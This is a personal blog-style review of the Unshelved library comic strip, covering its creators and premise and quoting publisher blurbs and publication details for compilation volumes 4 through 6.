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My latest reading (well, document.write(“”); beside the daily newspaper and Time magazine) was pretty funny. It’s a daily web comic strip created by Gene Ambaum (writer) and Bill Barnes (co-writer & artist) that I discovered by chance a few years ago. It has been published daily since 2002 and has been compiled, so far, in six volumes (and a seventh should be released in spring 2009). In 2006, I ordered from the publisher, Overdue Media (www.unshelved.com), the first three compilations: Vol. 1: Unshelved (2003); Vol. 2: What Would Dewey Do? (2004); Vol. 3: Library Mascot Cage Match (2005). I liked it a lot.
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Written by a real-life librarian (but Gene Ambaum is not his real name) and illustrated by his friend, Bill Barnes, Unshelved tells the story of the people surrounding the Mallville Public Library. The main character is named Dewey! (for more details see the story primer or the Wikipedia entry). The art is rather simple, but the story is hilarious, educating and profess a great love for books. Despite the humorous situations that develop between the characters, it gives a good idea of the inner workings of a library. It could be a librarian training manual… Unshelved seems pretty popular: over 26,000 email subscribers. It’s also published on its own website, as well as on the American Library Association website and CogNotes newspapers. The creators must be quite busy because (beside having day jobs) they tour lots of bookfairs, conferences and conventions!

Last month I found out that three more compilations had been published since I first discovered the series. Here they are:

“What happens in the library stays in the library. But oh, what happens in the library! Dewey has a book club, and you do not talk about Book Club. Colleen has a blog, but she doesn’t know everyone can read it. Someone gave vegan Tamara a membership to the ham-of-the-month-club. And Merv reserved every copy of the new Harry Potter for purposes nefarious. This fourth Unshelved collection also features dozens of full-page full-color comic-format book talks, plus a very special storytime zombie nursery rhyme.” (From Amazon.com)

This volume includes the usual strips, plus some Library conference tips, but the most interesting feature is the dozens of full-color “Unshelved Book Club” book talks where the library staff introduce on each page a new book. A kind of weekly book review, in color and often hilarious!

Unshelved Vol. 4: Book Club, by Gene Ambaum and Bill Barnes. Overdue Media, 2006. 10.9 x 8.3 in, 120 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035338.

“The fifth year of strips includes the famous “Pimp My Bookcart” sequence and a year’s worth of full-color full-page “Unshelved Book Clubs” featuring the greatest books every written. Plus, never-before published strips and more!” (From Amazon.com)

Unshelved Vol. 5: Read Responsibly, by Gene Ambaum and Bill Barnes. Overdue Media, 2007. 10.9 x 8.2 in, 144 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035345.

“No one gets asked questions more frequently than a librarian, and no librarian answers them with more attitude than Dewey! The latest Unshelved collection features a year’s worth of daily comics and Conference Tips, plus the full-color Unshelved Book Club. Also features the Great Plastic Coffee Cup Lid Challenge between Unshelved and Sheldon, refereed by comics journalist Gary Tyrrell.” (From Amazon.com)

Unshelved Vol. 6: Frequently Asked Questions, by Gene Ambaum and Bill Barnes. Overdue Media, 2008. 10.9 x 8.2 in, 136 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035352.

Unshelved © 2002-2008 Overdue Media LLC, all rights reserved.

If you are a fan, you can sign up for “Unshelved Readers,” the Facebook group.